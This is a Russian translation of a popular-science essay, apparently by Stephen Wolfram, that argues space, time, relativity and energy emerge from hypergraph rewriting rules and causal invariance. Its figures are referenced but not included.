Самым большим сюрпризом для меня стало то, что, кажется, нам везет. Мы знаем, что даже когда в нашей системе есть вычислительная несократимость, в ней также есть бесконечное число зон вычислительной сократимости. И большинство этих зон соответствуют нашим знаниям о физике.
### Что такое пространство?
Давайте взглянем на одно простое правило из нашей громадной коллекции:
`{{x, y, y}, {z, x, u}} → {{y, v, y}, {y, z, v}, {u, v, v}}`
Вот что оно порождает:
А через еще несколько итераций получается вот это:
Получившаяся структура сильно напоминает очень простой «кусочек пространства». Если мы продолжим рекурсивно применять наше правило дальше, то эта сетка будет становиться все тоньше и тоньше, пока в конце концов не станет неотличима от сплошной плоскости.
Вот другое правило:
`{{x, x, y}, {z, u, x}} → {{u, u, z}, {v, u, v}, {v, y, x}}`
Эта структура уже напоминает трехмерную. А вот еще одно правило:
`{{x, y, z}, {u, y, v}} → {{w, z, x}, {z, w, u}, {x, y, w}}`
Это не кажется вам странным? У нас есть правило, которое определяет как переписывать куски абстрактного гиперграфа без какого либо упоминания геометрии или трехмерного пространства. И после определенного количества итераций это правило порождает гиперграф, выглядящий как трехмерная поверхность.
И несмотря на то, что тут в действительности есть только связи между точками, мы можем «догадаться» на какой фигуре может быть такая поверхность и отрендерить результат в трех измерениях:
Если мы продолжим, то постепенно сетка будет становиться все тоньше и тоньше, пока не превратится в непрерывную 3D поверхность, которую вы могли бы изучать на курсе матанализа. Конечно, в некотором роде это не «настоящая» поверхность — это просто гиперграф, представляющий кучу абстрактных отношений, но каким-то образом паттерн этих отношений делает структуру все более и более похожей на поверхность.
И я думаю, что именно так устроено все пространство в нашей Вселенной. В общем-то это куча дискретных, абстрактных отношений между абстрактными точками. Но при взгляде с определенного масштаба мы видим, что паттерн этих отношений делает эту структуру похожей на привычное нам непрерывное пространство. Это похоже на наше представление о воде: по сути вода — это куча дискретных молекул, но когда мы смотрим на нее с большого масштаба, она кажется нам непрерывной жидкостью.
Люди размышляли о том, что пространство может быть дискретным с античности, но в современную физику вписать эту концепцию ни у кого не получалось. Да и гораздо удобнее рассматривать пространство как континуум, чтобы была возможность использовать всю мощь созданного нами математического аппарата. Но сейчас мне кажется, что идея о том, что пространство дискретно, точно войдет в фундаментальную теорию физики.
### Размерность пространства
Мы ощущаем пространство как трехмерное. Как наши правила могут воспроизвести эту трехмерность? Два правила, которые мы только что рассмотрели, породили двумерные поверхности: в первом случае плоскую, во втрором имеющую некую форму. Конечно, это не очень честные примеры двумерного пространства — это просто сетки, которые распознаются нами как поверхности. С нашей Вселенной дела обстоят иначе, она устроена гораздо сложнее.
Давайте тогда рассмотрим такой случай:
Если мы будем продолжать применять создавшее эту картину правило еще много много раз, получим ли мы что-то вроде пространства, и если да, то сколько измерений будет у такого пространства? Чтобы получить ответ на этот вопрос, мы должны определить не допускающий возражений способ определения количества измерений. Но помните, нарисованные мною картинки — это просто визуализация структуры, являющейся сгустком дискретных отношений или гиперграфом без какой-либо информации о координатах, геометрии или даже топологии. Отдельно подчеркну, что этот граф можно отрисовать еще кучей разных способов:
Для того, чтобы определить количество измерений, нам нужно вспомнить, что площадь круга вычисляется как *πr^2*, а объем сферы как *4/3 π r^3*. В общем случае, «объем» d-мерного аналога сферы равен константе умноженной на *r^d*. Давайте вернемся к нашему гиперграфу и выберем случайную начальную точку. Затем мы обведем *r* гиперребер всеми возможными способами. Таким образом у нас получается аналог «сферического шара» на гиперграфе. Вот примеры гиперграфов, соответствующих двухмерным и трехмерным пространственным решеткам:
И если вы посчитаете количество точек, достигнутых обводкой «графовым радиусом r», вы обнаружите, что их количество в данных двух случаях растет как *r^2* и *r^3* соответственно. Таким образом мы получаем способ определения измерения нашего гиперграфа. Просто начинаем в определенной точке и смотрим, как много точек мы можем достигнуть, обрисовывая *r* ребер:
Теперь чтобы определить точное значение кол-ва измерений, нам нужно соотнести получившийся результат с *r^d*. Нужно учитывать, что не стоит брать слишком маленький *r*, при котором структура графа может сильно повлиять на результат, или слишком большой *r*, при котором мы можем упереться в край. Также мы должны учитывать как это «пространство» эволюционирует с каждой итерацией. Учитывая эти ограничения, мы можем провести серию расчетов для точного определения измерений. Проведя расчет для рассматриваемого нами выше примера, мы получим число измерений примерно равное 2.7:
Если мы проделаем то же самое для вот этого графа:
Количество измерений стремится к 2-м, как и должно:
Но что означает нецелое значение числа измерений? Давайте рассмотрим фракталы, которые мы легко можем создать с помощью такого правила:
`{{x, y, z}} → {{x, u, w}, {y, v, u}, {z, w, v}}`
Если мы замерим количество измерений для этого фрактала, то получим *log2(3)=1.58* — обыкновенное нецелое измерение для треугольника Серпинского:
Из рассматриваемого нами выше правила не получается такой же ровной структуры как эта. Фактически, даже если правило само по себе полностью детерминировано, порождаемая им структура может быть совершенно случайной формы. Но наши измерения предполагают, что при достаточном количестве итераций это правило производит на свет что-то похожее на 2.7-мерное пространство.
Разумеется, 2.7 это не 3, и по-видимому это конкретное правило не является правилом нашей Вселенной (хотя не известно какое количество измерений получится у этого пространства, если мы прогоним это правило хотя бы `10^100` итераций). Но определение количества измерений показывает пример того, как мы можем начать делать физические предположения о поведении наших правил.
Кстати, мы говорили о «появлении пространства» в наших моделях, но в действительности таким образом появляется не только пространство, но и все остальное, что есть во вселенной. В современной физике пространство описано многообразно и служит, так сказать, фоном для всего остального: материи, частиц, планет и так далее.
Но в наших моделях в известном смысле нет ничего кроме пространства: то есть все во Вселенной должно «состоять» из пространства. Или если перефразировать, то тот же самый гиперграф, который порождает пространство, порождает также и все остальное, что существует в этом пространстве. Это значит, что, например, частица вроде электрона или фотона должна соответствовать какому-то простому свойству гиперграфа. Как вот в этом игрушечном примере:
По моим оценкам, в `10^200` раз больше сил гиперграф тратит на «поддержку» структуры пространства, чем на «поддержку» всей существующей во Вселенной материи.
### Искривление пространства и уравнения Эйнштейна
Вот простые примеры некоторых структур, которые порождаются нашими правилами:
Все они похожи на поверхности, но они очевидно разные. И единственный способ как-то характеризовать их — по их локальной кривизне. Получается, что в наших моделях искривление — это концепт, тесно связанный с количеством измерений. Этот факт критически важен для понимания, например, того, почему возникает гравитация.
Но для начала, давайте поговорим о том, как можно измерить кривизну гиперграфа. Обычно площадь круга равна `πr^2` Но давайте представим, что мы нарисовали круг на поверхности сферы и теперь мы пытаемся найти его площадь:
Теперь площадь не равна `πr^2`. Вместо этого она высчитывается по формуле `πr^2 \* (1 - r^2/12a^2 + r^4/360a^4 - ...)`, в которой *a* — это радиус сферы. Другими словами, чем больше становится радиус нарисованного круга, тем больше на его площадь влияет тот факт, что он нарисован на поверхности сферы. Представьте круг, нарисованный на глобусе вокруг Северного Полюса — самый большой из таких возможных кругов пройдет по экватору.
Если мы обобщим эту формулу для *d* измерений, то получится такая формула роста «объема»: `r^d(1-Rr^2/6(d+2)+...)`, где R — это математический объект, называющийся [скалярной кривизной Риччи](https://ru.wikipedia.org/wiki/%D0%A1%D0%BA%D0%B0%D0%BB%D1%8F%D1%80%D0%BD%D0%B0%D1%8F_%D0%BA%D1%80%D0%B8%D0%B2%D0%B8%D0%B7%D0%BD%D0%B0).
Это означает, что если мы рассмотрим скорость роста сферических шаров в нашем гиперграфе, мы можем ожидать двух соответствий: во-первых эта скорость соответствует `r^d`, во-вторых «коррекция» этой скорости благодаря искривлению равна `r^2`.
Вот пример. Вместо оценки количества измерений (в данном случае равному 2), мы описываем плавно опускающуюся переменную, соответствующую положительной (как у сферы) кривизне поверхности:
Но в чем значение кривизны? Во-первых она имеет применение в геодезии. Геодезическая линия — это наикратчайшее расстояние между двумя точками. В плоском пространстве это прямая, но в искривленном пространстве геодезические линии тоже искривлены:
В случае положительной кривизны пучки геодезических линий сходятся, в случае отрицательной кривизны они расходятся. Даже учитывая то, что геодезические линии были изначально определены для непрерывного пространства, они могут присутствовать и в графах. Для графов определение геодезической линии точно такое же — это наикратчайший путь между двумя точками на графе.
Вот геодезические линии на поверхности с положительным искривлением, порожденной одним из наших правил:
А вот геодезические линии в более сложной структуре:
Почему эти геодезические линии так важны? Причина в том, что в общей теории относительности Эйнштейна свет распространяется по траектории, соответствующей геодезическим линиям. И гравитация в этой теории соотносится с кривизной пространства. То есть когда что-нибудь отклоняется от траектории вокруг Солнца, то это происходит потому что пространство вокруг Солнца искривлено и геодезическая линия этого предмета так же искривлена.
Описание искривления пространства в общей теории относительности основывается на скалярной кривизне Риччи *R*, о которой мы говорили выше. Но если мы хотим понять, как наши модели воспроизводят уравнения Эйнштейна для гравитации, мы должны выяснить, что кривизна Риччи, получающаяся из наших гиперграфов соответствует кривизне, предполагаемой теорией относительности.
Здесь нам придется прибегнуть к небольшим математическим изысканиям (например, мы будем рассматривать кривизну пространства-времени, а не просто пространства). Вкратце, в различных пределах и при определенных допущениях наши модели действительно воспроизводят уравнения Эйнштейна. Сначала мы воспроизведем уравнения для вакуума без материи. Затем, когда мы будем обсуждать природу материи, мы увидим, что мы действительно получим полные уравнения Эйнштейна.
Это очень непростая задача — воспроизвести уравнения Эйнштейна. Обычно в физике все начинается с этих уравнений, но у нас они появляются из свойств самой модели.
Я думаю, стоит немного рассказать про то, как работает этот вывод. Это что-то похожее на вывод уравнений потока жидкости из уравнений динамики множества дискретных молекул, из которых эта жидкость состоит. В нашем случае, мы вычисляем скорее структуру пространства нежели скорость жидкости. Хотя для этого нам нужно сделать ряд очень похожих математических приближений и допущений. Примем, к примеру, что случайность, присутствующая в системе, годна для того, чтобы к ней была хорошо применима статистика. Также есть еще куча хитрых математических ограничений. Например, расстояния должны быть огромны по сравнению с длиной ребра гиперграфа, но достаточно маленькими по сравнению с общим размером графа, и так далее.
Достаточно часто физики «забивают» на математические тонкости. Например, около века такое продолжалось в случае с получением уравнений потока жидкости из молекулярной динамики. И нас можно обвинить в том же самом. По-другому говоря, нужно сделать еще довольно много математической работы, чтобы наш вывод был действительно строгим и тщательным, и мы в точности понимали бы его границы применимости.
Кстати, говоря о математике, даже имеющаяся у нас структура интересна. Математический анализ был разработан для работы в простом непрерывном пространстве (многообразия, которые приближены к Евклидовому пространству). Но то, что есть у нас — иное: в пределах бесконечно большого гиперграфа мы имеем нечто, очень похожее на непрерывное пространство, но обыкновенный матанализ неприменим (как минимум потому что у нашего гиперграфа может быть нецелый показатель количества измерений). Так что нам нужно изобрести некое обобщение математического анализа, которое, к примеру, может иметь дело с искривлением нецело-мерного пространства. Наверное, самая близкая к этой задаче область современной математики — геометрическая теория групп.
Кстати, нужно отметить, что существует много тонкостей в нахождении компромисса между изменением размерности пространства и наличием кривизны в нем. И несмотря на то, что нам кажется, что мы живем в трехмерной Вселенной, вполне возможны локальные отклонения и скорее всего существовали громадные отклонения в ранней Вселенной.
### Время
В наших моделях пространство определено структурой гиперграфа, отображающего множество абстрактных отношений. Но что же такое время?
В прошлом столетии в фундаментальной физике была принята точка зрения, что время «подобно пространству», и что нам следует соединять время и пространство в одну сущность и говорить о пространственно-временном континууме. И теория относительности указывает в данном направлении. Но если и был один «поворот не туда» в истории физики в прошлом веке, я думаю, это было предположение, что время и пространство имеют родственную природу. И несмотря на то, что в наших моделях это не так, как мы увидим, относительность прекрасно из них выводится.
Так что же тогда такое время? По сути, оно в точности такое, как мы его чувствуем: неумолимый процесс протекания событий и их влияния на последствия. Но в наших моделях оно является нечтом гораздо более точным: это последовательное применение правил, которые постоянно изменяют абстрактную структуру, определяющую содержимое вселенной.
Модель времени в наших моделях в некотором смысле очень вычислительная. По прошествии времени мы фактически видим результаты все большего числа шагов в вычислении. И действительно, феномен вычислительной несократимости подразумевает, что этим процессом «достигается» нечто определенное и несокращаемое. (И, например, несократимость — это то, что я считаю ответственным за «шифрование» начальных условий и связанным с законом увеличения энтропии и термодинамической стрелой времени.) Само собой разумеется, что современной информатики не существовало сто лет назад, когда было введено «пространство-время», а ведь история физики могла бы быть совершенно другой.
В наших моделях время — это просто последовательное применение правил. Но в том, как оно работает, есть тонкость, которая на первый взгляд может показаться мелочью, но на самом деле она оказывается ключом как к теории относительности, так и к квантовой механике.
В начале этой статьи я говорил о правиле:
`{{x, y}, {x, z}} → {{x, z}, {x, w}, {y, w}, {z, w}}`
и показал первые несколько шагов применения этого правила:
Но как именно применялось правило? Что «внутри» этих шагов? Правило определяет, как взять два ребра в гиперграфе (который в данном случае фактически является просто графом) и преобразовать их в четыре новых ребра, создав тем самым новый элемент. Таким образом, каждый «шаг», который мы показали ранее, на самом деле состоит из нескольких отдельных «событий обновления» (здесь новые добавленные соединения выделены, а те, которые собираются удалить, отмечены пунктиром):
Это не единственная последовательность событий обновления, соответствующая правилу. Правило просто говорит, что нужно найти два соседних соединения, и если есть несколько возможных вариантов, ничего не говорится о том, какое из них «правильное». И основная идея в нашей модели — просто реализовать их все.
Мы можем представить это в виде графа, показывающего все возможные пути:
Для самого первого обновления есть две возможности. Затем для каждого из этих результатов есть четыре дополнительных возможности. Но при следующем обновлении происходит кое-что интересно: две ветки сливаются. Другими словами, даже если мы выполнили разные последовательности обновлений, результат — один и тот же.
Все быстро усложняется. Вот граф после еще одного обновления:
Так как это связано со временем? В нем говорится, что в основном утверждении модели есть не только один путь времени, есть много путей и много «историй». Но модель — и используемое правило — определяет их все. И мы увидели намек на кое-что еще: даже если мы можем подумать, что следуем «независимым» путем истории, он может фактически слиться с другим путем.
Чтобы объяснить, как все это работает, потребуются дополнительные исследования и дискуссии. Но пока позвольте мне сказать, что выясняется, что время — это причинно-следственные связи между событиями, и что на самом деле, даже когда исторические пути различаются, эти причинно-следственные связи могут оказаться одинаковыми. И по сути, для наблюдателя, встроенного в систему, остается только один поток времени.
### Граф причинно-следственных связей
В итоге все выглядит чудесно элегантно. Но чтобы добраться до точки, где мы сможем понять всю большую картину, нам нужно подробнее разобрать некоторые аспекты. (Неудивительно, что фундаментальная теория физики — неизбежно построенная на очень абстрактных идеях — несколько сложна для объяснения, но иначе и быть не могло.)
Чтобы не усложнять задачу, я не буду говорить напрямую о правилах, действующих с гиперграфами. Вместо этого я собираюсь поговорить о правилах, которые работают со строками символов.
Скажем, у нас есть правило:
`{A → BBB, BB → A}`
Это правило гласит, что везде, где мы видим A, мы можем заменить его на BBB, и везде, где мы видим BB, мы можем заменить его на A. Итак, теперь мы можем сгенерировать то, что мы называем ветвящейся системой для этого правила, и нарисовать «граф ветвлений», который отображает все, что может случиться:
На первом шаге единственная возможность — использовать A → BBB для замены A на BBB. Но далее есть две возможности: заменить либо первый BB, либо второй BB — и эти варианты дают разные результаты. Однако на следующем этапе все, что можно сделать — это заменить букву A — в обоих случаях получая BBBB.
Другими словами, хотя в некотором смысле у нас было два исторических пути, которые расходились в системе ветвлений, потребовался всего один шаг, чтобы они снова слились. И если вы проследите рисунок выше, то обнаружите, что это всегда происходит с этим правилом: каждая создаваемая пара ветвей всегда сливается, в данном случае после еще одного шага.
Такой баланс между ветвлением и слиянием — явление, которое я называю причинно-следственной инвариантностью. И хотя в данном случае это может показаться мелочью, на самом деле оказывается, что это свойство наших моделей объясняет, почему работает теория относительности, почему в квантовой механике существует объективная реальность и множество других основных вопросов фундаментальной физики.
Давайте объясним, почему я называю это свойство причинно-следственной инвариантностью. На картинке выше показано, какое «состояние» (то есть какая строка) приводит к какому другому. Но рискуя усложнить картину (и обратите внимание, что это невероятно просто по сравнению со случаем полного гиперграфа), мы можем аннотировать многопутевой граф, включив в него события обновления, которые приводят к каждому переходу между состояниями:
Теперь мы можем задаться вопросом: каковы причинно-следственные связи между этими событиями? Другими словами, какое событие должно произойти, прежде чем может произойти какое-то другое событие? Или, другими словами, какие события должны были произойти, чтобы создать входные данные, необходимые для какого-то другого события?
Давайте пойдем еще дальше и аннотируем граф выше, показав все причинно-следственные зависимости между событиями:
Оранжевые линии показывают, какое событие должно произойти перед каким другим событием — или каковы все причинно-следственные связи в системе ветвлений. И да, это выглядит сложно. Но обратите внимание, что эта картина показывает всю систему ветвлений со всеми возможными историческими путями, а также всю сеть причинно-следственных связей внутри этих путей и между ними.
Но самое важное в причинной инвариантности то, что она подразумевает, что на самом деле граф причинно-следственных связей один и тот же, независимо от того, по какому историческому пути вы идете. И именно поэтому я первоначально назвал это свойство причинно-следственной инвариантностью — потому что в нем говорится, что с таким правилом, причинно-следственные свойства инвариантны по отношению к различным вариантам последовательности, в которой выполняется обновление.
И если еще раз взглянуть на рисунок выше (и пройти еще несколько шагов), можно обнаружить, что для каждого историческом пути причинно-следственный граф, отображающий причинно-следственные связи между событиями, всегда будет иметь вид:
или, мы можем нарисовать его по-другому:
### Важность причинно-следственной инвариантности
Чтобы лучше понять причинной-следственную инвариантность, полезно рассмотреть еще более простой пример: случай правила BA → AB. Это правило гласит, что каждый раз, когда в строке стоит буква B, за которой следует A, поменяйте местами эти символы. Другими словами, это правило пытается отсортировать строку в алфавитном порядке, по два символа за раз.
Допустим, мы начнем с BBBAAA. А вот граф ветвлений, показывающий все, что может произойти в соответствии с этим правилом:
Существует множество различных путей, по которым можно идти, в зависимости от того, к какому BA в строке применяется правило на каждом шаге. Но важно то, что мы видим, что в конце концов все пути сливаются, и мы получаем единственный конечный результат: отсортированную строку AAABBB. И тот факт, что мы получаем этот единственный конечный результат, является следствием причинно-следственной инвариантности правила. В таком случае, когда есть конечный результат (а не просто постоянное развитие), причинно-следственная инвариантность гласит: не имеет значения, в каком порядке вы выполняете все обновления, результат, который вы получите, всегда будет одним и тем же.
Я ввел причинно-следственную инвариантность в контексте попытки найти модель фундаментальной физики — и понял, что она будет иметь решающее значение как для теории относительности, так и для квантовой механики. Но на самом деле то, что равносильно причинно-следственной инвариантности, было замечено и раньше в различных формах математики, математической логики и информатики. (Его наиболее распространенное название — «ассоциативность», хотя есть некоторые технические различия между этим и тем, что я называю причинно-следственной инвариантностью.)
Подумайте о раскрытии алгебраического выражения, например `(x + (1 + x)^2)(x + 2)^2`. Неважно, в каком порядке вы будете выполнять шаги, вы всегда получите один и тот же результат (в данном случае `4 + 16x + 17x^2 + 7x^3 + x^4`). И эта независимость порядков по сути является причинно-следственной инвариантностью.
Еще один пример. Представьте, что у вас есть рекурсивное определение, скажем: `f[n_]:=f[n-1]+f[n-2]` (c `f[0]=f[1]=1`). Теперь попробуем вычислить `f[10]`. Сначала вы получите `f[9]+f[8]`. Что вы вычислите потом: `f[9]` или `f[8]`? Это не имеет никакого значения. Результат всегда будет равен 55. И это еще один пример причинно-следственной инвариантности.
Те, кто имеет опыт работы с параллельными или асинхронными алгоритмами, знают, что очень важно, имеет ли этот алгоритм причинно-следственную инвариантность. Потому что это означает, что можно делать что-то в любом порядке — скажем, в глубину, в ширину или что-то еще — и всегда получишь один и тот же ответ. То же самое происходит в нашем небольшом алгоритме сортировки выше.
Хорошо, но теперь вернемся к причинно-следственным связям. Вот система ветвлений для процесса сортировки с аннотациями всех причинно-следственных связей для всех путей:
Это беспорядок. Но поскольку существует причинно-следственная инвариантность, мы знаем кое-что очень важное: это просто множество копий одного и того же причинно-следственного графа — простой сетки:
Между прочим — как видно из рисунка — перекрестные связи между этими копиями нетривиальны, и позже мы увидим, что они связаны с глубокими отношениями между теорией относительности и квантовой механикой, которые, вероятно, проявляются в физике черных дыр. Но мы вернемся к этому позже…
Предполагается, что каждый другой способ применения правила сортировки дает один и тот же причинно-следственный граф. Итак, вот один пример того, как мы можем применить правило, начиная с конкретной начальной строки:
А теперь покажем граф причинно-следственных связей. И мы видим, что это просто сетка:
Вот еще три возможных последовательности обновлений:
Теперь мы видим причинно-следственную инвариантность в действии: хотя разные обновления происходят в разное время, граф причинно-следственных связей между событиями обновления всегда один и тот же. И, увидев это — в контексте очень простого примера, — мы готовы поговорить о специальной теории относительности.
### Вывод специальной теории относительности
Как правило, занимаясь наукой, вы представляете, как проводите эксперимент над системой, но вы — как «наблюдатель» — находитесь вне системы. Конечно, если вы думаете о моделировании всей вселенной и всего в ней существующего, это не совсем разумный способ думать о системе. Потому что наблюдатель неизбежно является частью Вселенной, и поэтому его нужно моделировать, как и все остальное.
В наших моделях это означает, что «разум наблюдателя», как и все остальное во Вселенной, должен обновляться через серию событий. Для наблюдателя нет абсолютного способа узнать, что происходит во Вселенной. Все, что они когда-либо испытывали, — это серия событий обновления, на которые могут повлиять события обновления, происходящие где-то в другом месте вселенной. Или, говоря иначе, все, что наблюдатель может когда-либо наблюдать, — это сеть причинно-следственных связей между событиями — или причинно-следственный граф, о котором мы говорили.
В качестве игрушечной модели давайте посмотрим на наше правило BA → AB для строк. Можно представить себе, что строка лежит в пространстве. Но единственное, что видит наш наблюдатель — это причинно-следственный граф, который представляет причинно-следственные связи между событиями. А для системы BA → AB это можно сделать следующим образом:
Но теперь давайте подумаем о том, как наблюдатели могут «ощутить» этот причинно-следственный граф. Наблюдатель сам по себе обновляется посредством некоторой последовательности событий. Но даже несмотря на то, что это «действительно то, что происходит», чтобы понять это, мы можем представить, что наши наблюдатели создают внутренние «ментальные» модели того, что они видят. И для таких наблюдателей, как мы, довольно естественно просто сказать: «Один набор событий происходит по всей вселенной, затем другой и так далее». И мы можем перевести это на человеческий, сказав, что мы представляем серию «моментов» во времени, когда вещи происходят «одновременно» по всей вселенной — по крайней мере, с некоторыми соглашениями для определения того, что мы подразумеваем под одновременным. (И да, эти идеи сходны с идеями Эйнштейна в то время, когда он создал специальную теорию относительности.)
Вот возможный способ сделать это:
Это можно описать как «слоение» причинно-следственного графа. Мы делим причинно-следственный граф на срезы. И каждый срез наши наблюдатели могут рассматривать как «последовательный момент времени».
Важно отметить, что есть некоторые ограничения на выбор слоения. Причинно-следственный граф определяет, какое событие должно произойти до чего. И если у наших наблюдателей будет шанс осмыслить мир, лучше всего, если их представление о ходе времени согласуется с тем, что говорит причинно-следственный граф. Так, например, это слоение не будет работать — потому что оно говорит, что время, которое мы назначаем событиям, не согласуется с порядком, в котором они должны произойти:
Какой фактический порядок обновления событий подразумевает приведенное выше слоение? По сути, как можно больше событий должно происходить одновременно (то есть в одном и том же срезе слоения), как на этой картинке:
Теперь давайте свяжем это с физикой. Слоение, которое у нас было выше, относится к наблюдателям, которые каким-то образом «неподвижны по отношению ко Вселенной» («космологическая система покоя»). Можно представить себе, что с течением времени события, которые переживает конкретный наблюдатель, помещаются в столбец, идущий вертикально вниз по графу:
Но теперь давайте подумаем о наблюдателе, который равномерно движется в пространстве. У них будет другая последовательность событий, например такая:
А это значит, что слоение, которое они построят естественным образом, будет другим. «Со стороны» мы можем нарисовать это на причинно-следственном графе следующим образом:
Но для наблюдателя каждый срез представляет собой последовательный момент времени. И у них нет никакого способа узнать, как был нарисован причинно-следственный граф. Таким образом, они построят свою собственную версию с горизонтальными срезами:
Теперь мы видим чисто геометрический факт: чтобы произвести эту перестановку, сохраняя при этом базовую структуру (а здесь и углы) причинно-следственного графа, каждый момент времени нужно отбирать меньше событий в причинном графе c коэффициэнтом `sqrt(1 - β^2)`, где β равно угол, который представляет скорость наблюдателя.
Если вы что-то понимаете в специальной теории относительности, то вы узнаете многое из этого. То, что мы называем слоениями, соответствует «системам отсчета» теории относительности. И наши слоения, представляющие движение, являются стандартными инерциальными системами отсчета специальной теории относительности.
Здесь есть особенно интересный момент: мы можем интерпретировать все это обсуждение слоений и систем отсчета с точки зрения реальных правил эволюции нашей базовой системы. Итак, вот эволюция нашей системы сортировки строк в инерциальной системе отсчета, соответствующей наблюдателю, движущемуся с определенной скоростью:
Из-за причинно-следственной инвариантности не имеет значения, что мы находимся в другой системе отсчета — причинно-следственный граф для системы (и способ, которым он в конечном итоге сортирует строку) точно такой же.
Основная идея специальной теории относительности состоит в том, что законы физики работают одинаково во всех инерциальных системах отсчета. Но почему это должно быть правдой? Что ж, в наших системах есть ответ: это следствие причинно-следственной инвариантности основных правил. Другими словами, из свойства причинно-следственной инвариантности мы можем вывести относительность.
Обычно в физике относительность вводится путем установления математической структуры пространства-времени. Но в наших моделях мы не делаем ничего подобного, и на самом деле пространство и время вовсе не одно и то же. Теперь мы видим, что из-за причинно-следственной инвариантности в наших моделях появляется относительность со всеми связями между пространством и временем, которые она подразумевает.
Так, например, если мы посмотрим на изображение нашей системы сортировки строк выше, мы увидим релятивистское замедление времени. Фактически, из-за выбранного нами слоения время течет медленнее. Или другими словами, в стремлении ускорить выборку пространства наш наблюдатель испытывает более медленное обновление системы во времени.
Скорость света *c* в нашей игрушечной системе определяется максимальной скоростью, с которой может распространяться информация, которая определяется правилом, а в случае этого правила — один символ за шаг. Таким образом, мы можем сказать, что наше слоение соответствует скорости равной 0.3 скорости света. Но теперь мы можем посмотреть на формулу замедления времени для нашего графа `1 / sqrt(1 - v^2/c^2)`, и это именно та формула, о которой говорится в теории относительности.
Кстати, если мы представим, что пытаемся заставить нашего наблюдателя двигаться «быстрее света», мы увидим, что это не сработает. Потому что на нашей картинке нет способа наклонить слоение более чем на 45 ° и при этом сохранить причинно-следственные связи.
Итак, из нашей игрушечной модели мы можем вывести специальную теорию относительности. Но вот в чем дело: этот вывод работает не только в игрушечной модели — он применим к любому правилу, имеющему причинно-следственную инвариантность. Таким образом, даже если мы имеем дело с гиперграфами, а не со строками, и существует правило, имеющее причинно-следственную инвариантность, то (с различными оговорками, в основном о возможной cлучайности в причинно-следственном графе) оно будет демонстрировать релятивистскую инвариантность, а основанная на нем физика будет следовать специальной теории относительности.
### Энергия и масса
В нашей модели все во Вселенной — пространство, материя и т.д. — должно быть представлено свойствами нашего развивающегося гиперграфа. Есть ли в этом гиперграфе масса и энергия?
Хотя это широко распространенная концепция в современной физике, я никогда не считал энергию чем-то фундаментальным. Это просто атрибут, который может быть у объектов (атомов, фотонов, чего угодно). Я никогда не думал об энергии и массе как о чем-то, что можно абстрактно идентифицировать в самой структуре вселенной.
Поэтому для меня стало большим сюрпризом наше недавнее открытие, что на самом деле в нашей модели есть кое-что, на что мы можем показать пальцем и сказать «Это энергия!». Техническое утверждение: энергия соответствует потоку причинно-следственных ребер через пространственные гиперповерхности. И, кстати, импульс соответствует потоку причинно-следственных ребер через временные гиперповерхности.
Что это все означает? Во-первых, что такое пространственная гиперповерхность? Это стандартное понятие в общей теории относительности, которому есть прямая аналогия в наших моделях. Это то, что образует срез в нашем слоении. Мы можем выделить два вида направлений: пространственное и временное.
Пространственное направление предполагает простое перемещение в пространстве, и это направление, в котором всегда можно повернуть вспять и вернуться. Временное направление — это направление, которое предполагает также движение во времени, куда нельзя вернуться. Мы можем отметить пространственные гиперповерхности сплошной линией, а временные прерывистой в причинном графе нашей игрушечной модели:
(Их можно назвать «поверхностями», хотя «поверхности» обычно считаются 2-мерными, а наша 3-пространственная + 1-мерная вселенная, эти слои слоения являются 3-мерными: отсюда и термин «гиперповерхности».)
Теперь давайте еще раз взглянем на картинку. «Причинно-следственные ребра — это причинно-следственные связи между событиями, показанные на рисунке в виде линий, соединяющих события. Поэтому, когда мы говорим о потоке причинно-следственных ребер через пространственные гиперповерхности, мы говорим о количестве ребер, которые проходят через горизонтальные срезы на изображениях.
В игрушечной модели это увидеть несложно. Но вот гораздо более сложный причинно-следственный граф из другой довольно простой модели:
Если мы начертим слоение на этом графе (тем самым определяя нашу систему отсчета), мы можем начать подсчет количества причинно-следственных ребер, проходящих вниз через последовательные пространственные срезы:
Мы также можем посмотреть, сколько причинно-следственных ребер проходит «вбок» через временные гиперповерхности:
Почему мы думаем, что эти потоки ребер соответствуют энергии и импульсу? Представьте, что произойдет, если мы изменим слоение, скажем, наклоним его, чтобы оно соответствовало движению с некоторой скоростью, как мы делали это в предыдущем разделе. Мы выясняем, что наши потоки причинно-следственных ребер соотносятся со скоростью так же, как расстояние и время в предыдущем разделе.
Релятивистская механика говорит о том, что энергия должна соотносится со скоростью точно так же, как время со скоростью, а импульс с расстоянием. Теперь нам известна причина. Это фундаментальное следствие всей нашей системы и причинно-следственной инвариантности. В традиционной физике часто говорят, что положение в пространстве — это переменная, сопряженная с импульсом, а энергия сопряжена со временем. И это задано в математической структуре теории. Но здесь мы не просто объявляем это как аксиому. Это следствие само собой вытекает из нашей модели.
А это значит, что мы можем узнать гораздо больше. Например, мы можем задаться вопросом, что такое «ноль энергии». В конце концов, если мы посмотрим на один из наших причинно-следственных графов, многие причинно-следственные ребра на самом деле просто идут на «поддержание структуры пространства». Так что, если в каком-то смысле пространство однородно, с ним неизбежно связан однородный «фоновый поток» причинно-следственных ребер. И то, что мы считаем энергией, соответствует колебаниям этого потока вокруг его фонового значения.
Кстати, стоит упомянуть, чему соответствует поток причинно-следственных ребер. Каждое причинно-следственное ребро представляет собой связь между событиями, которая «переносится» некоторым элементом в пространственном гиперграфе. Таким образом, поток причинно-следственных ребер — это, по сути, передача активности (то есть событий) либо во времени (то есть через пространственные гиперповерхности), либо в пространстве (то есть через временные гиперповерхности). И мы можем сказать, что энергия связана с активностью в гиперграфе, который распространяет информацию во времени, в то время как импульс связан с активностью, которая распространяет информацию в пространстве.
У наших причинно-следственных графов существует одна фундаментальная особенность, о которой мы еще не упомянули, — она связана с распространением информации. Начните с любой точки (с любого события) причинно-следственного графа. Затем проследите причинно-следственные связи этого события. У вас получится что-то вроде конуса (здесь только в 2D):
Он соответствует такому понятию физики, как [световой конус](https://ru.wikipedia.org/wiki/%D0%A1%D0%B2%D0%B5%D1%82%D0%BE%D0%B2%D0%BE%D0%B9_%D0%BA%D0%BE%D0%BD%D1%83%D1%81). Предположим, мы нарисовали наш граф так, что события каким-то образом расположены в пространстве, тогда световой конус покажет, как информация (передаваемая светом) может распространяться в пространстве со временем.
Когда причинно-следственный граф усложняется, усложняются и световые конусы. Мы обсудим связь этого явления с черными дырами позже. Пока мы можем просто сказать, что в нашем причинно-следственном графе есть конусы, и, по сути, угол этих конусов представляет собой максимальную скорость распространения информации в системе, которую мы можем отождествить с физической скоростью света.
